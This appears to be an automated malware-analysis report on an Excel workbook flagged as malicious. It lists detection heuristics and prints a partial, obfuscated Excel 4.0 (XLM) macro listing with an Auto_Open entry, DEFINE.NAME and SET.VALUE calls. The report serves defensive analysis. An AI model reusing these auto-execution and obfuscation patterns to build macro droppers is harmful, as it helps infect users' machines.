MALICIOUS
160
Risk Score
Heuristics 4
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 3266 bytes |
SHA-256: ef28fc5dc778082d8e03cf6b22f85b2cb6e743de571fdd2acc9b96777c143bb8 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - guMc
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!H136
' 0018 30 LABEL : Cell Value, String Constant - brAYpiwv len=7 ptgRef3d guMc!F57
' 0018 22 LABEL : Cell Value, String Constant - bryD len=3 ptgInt 0
' 0018 26 LABEL : Cell Value, String Constant - cdEbVhTM len=3 ptgInt 0
' 0018 122 LABEL : Cell Value, String Constant - dShUDg len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018 34 LABEL : Cell Value, String Constant - EVcVpdhEuOXj len=7 ptgRef3d Sheet!H78
' 0018 29 LABEL : Cell Value, String Constant - fcoxJUZ len=7 ptgRef3d guMc!C50
' 0018 21 LABEL : Cell Value, String Constant - FdLUKp len=0
' 0018 29 LABEL : Cell Value, String Constant - FfFWorV len=7 ptgRef3d guMc!G48
' 0018 25 LABEL : Cell Value, String Constant - GDUskWW len=3 ptgInt 0
' 0018 27 LABEL : Cell Value, String Constant - gqjXs len=7 ptgRef3d guMc!H57
' 0018 22 LABEL : Cell Value, String Constant - JdYl len=3 ptgInt 0
' 0018 27 LABEL : Cell Value, String Constant - lrSRD len=7 ptgRef3d guMc!E56
' 0018 29 LABEL : Cell Value, String Constant - mYXfEHg len=7 ptgRef3d guMc!B53
' 0018 2070 LABEL : Cell Value, String Constant - OQYDtqd len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018 29 LABEL : Cell Value, String Constant - OyrDAfW len=7 ptgRef3d guMc!D45
' 0018 26 LABEL : Cell Value, String Constant - QuGc len=7 ptgRef3d guMc!A52
' 0018 570 LABEL : Cell Value, String Constant - RyuINXgU len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018 26 LABEL : Cell Value, String Constant - ufBv len=7 ptgRef3d guMc!J44
' 0018 29 LABEL : Cell Value, String Constant - vqSOZyA len=7 ptgRef3d guMc!I49
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' Sheet,J43,"ABC",""
' Sheet,D44,"ABC",""
' Sheet,J44,[],""
' Sheet,D45,[],""
' Sheet,G47,"ABC",""
' Sheet,G48,dShUDg,""
' Sheet,I48,"ABC",""
' Sheet,C49,"ABC",""
' Sheet,I49,[],""
' Sheet,C50,RyuINXgU,""
' Sheet,A51,"ABC",""
' Sheet,A52,ROWS(RyuINXgU),""
' Sheet,B52,"ABC",""
' Sheet,B53,ROWS(dShUDg),""
' Sheet,E55,"ABC",""
' Sheet,E56,[],""
' Sheet,F56,"ABC",""
' Sheet,H56,"ABC",""
' Sheet,F57,[],""
' Sheet,H57,[],""
' guMc,H79,"A"&"B",""
' guMc,H80,[],""
' guMc,H85,"SET.VALUE(H117,"")",""
' guMc,H90,"bryD",""
' guMc,H92,"DEFINE.NAME("JdYl",0)",""
' guMc,H94,[],""
' guMc,H99,"JdYl",""
' guMc,H103,"['H117', 'H117']",""
' guMc,H108,"cdEbVhTM",""
' guMc,H112,NEXT(),""
' guMc,H122,"['H117', '"guMco!R"']",""
' guMc,H127,"FdLUKp",""
' guMc,H130,NEXT(),""
' guMc,H133,RETURN(),""
' guMc,H141,"DEFINE.NAME("FdLUKp",148)",""
' guMc,H147,EVcVpdhEuOXj(),""
' guMc,H148,HALT(),""
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